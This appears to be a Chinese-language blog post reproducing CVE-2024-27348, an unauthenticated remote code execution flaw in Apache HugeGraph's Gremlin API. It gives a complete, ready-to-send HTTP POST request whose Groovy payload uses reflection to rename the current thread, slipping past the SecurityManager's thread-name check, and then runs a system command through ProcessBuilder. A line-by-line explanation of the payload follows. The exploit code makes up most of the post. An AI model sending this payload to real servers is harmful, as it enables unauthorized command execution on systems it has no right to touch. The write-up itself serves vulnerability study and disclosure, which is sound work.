CVE-2024-27348

文章目录

漏洞名称

Apache HugeGraph 远程代码执行漏洞(CVE-2024-27348)

漏洞描述

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能、出色的性能和企业级的可靠性。

HugeGraph 的 Gremlin API 中存在一个远程代码执行漏洞。Gremlin 是一种图遍历语言,可以在 Groovy、Python 和 Java 等多种编程语言中实现。攻击者能够利用 Gremlin API 在未经身份验证的情况下执行基于 Groovy 的 Gremlin 命令,从而执行任意命令。

理论上,Apache HugeGraph 会使用 SecurityManager 来限制用户提交的 Groovy 脚本。但 SecurityManager 仅检查以"gremlin-server-exec"或"task-worker"开头的线程名称。攻击者通过使用反射修改当前线程名称,可以绕过这一机制,从而实现任意代码执行。

漏洞复现

ui:

请求:

复制代码
POST /gremlin HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 777

{
    "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"id\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());",
    "bindings": {},
    "language": "gremlin-groovy",
    "aliases": {}
}

结果:

漏洞分析

利用 ​​Apache TinkerPop Gremlin Server​​ 的 Groovy 脚本执行能力,绕过沙箱限制执行任意系统命令

修改当前线程名称

java 复制代码
Thread thread = Thread.currentThread();
Class clz = Class.forName("java.lang.Thread");
java.lang.reflect.Field field = clz.getDeclaredField("name");
field.setAccessible(true);
field.set(thread, "SL7");
  • Class.forName():动态加载类对象。
  • getDeclaredField("name"):获取私有字段 name。
  • setAccessible(true):绕过访问权限检查。
  • field.set():修改线程名称字段值。

反射调用 ProcessBuilder 执行命令​​

java 复制代码
// 获取 ProcessBuilder 类及构造方法
Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");
java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);

// 构造命令参数列表
java.util.List command = java.util.Arrays.asList("id");

// 实例化 ProcessBuilder 并执行命令
Object processBuilderInstance = constructor.newInstance(command);
java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");

// 获取命令执行结果
org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());
相关推荐
凯基迪科技20 分钟前
exe软件壳的分类----加密保护壳
java
wuxuanok32 分钟前
Web后端开发-分层解耦
java·笔记·后端·学习
kyle~1 小时前
C/C++字面量
java·c语言·c++
neoooo1 小时前
别慌,Java只有值传递——一次搞懂“为啥我改了它还不变”!
java·后端·spring
秋难降1 小时前
Python 知识 “八股”:给有 C 和 Java 基础的你😁😁😁
java·python·c
wuxuanok1 小时前
Web后端开发-请求响应
java·开发语言·笔记·学习
livemetee1 小时前
spring-ai 1.0.0 (3)交互增强:Advisor 顾问模块
java
DDDDDouble1 小时前
<二>Sping-AI alibaba 入门-记忆聊天及持久化
java·人工智能
一切顺势而行2 小时前
kafka总结
java
yanjiaweiya2 小时前
云原生-集群管理
java·开发语言·云原生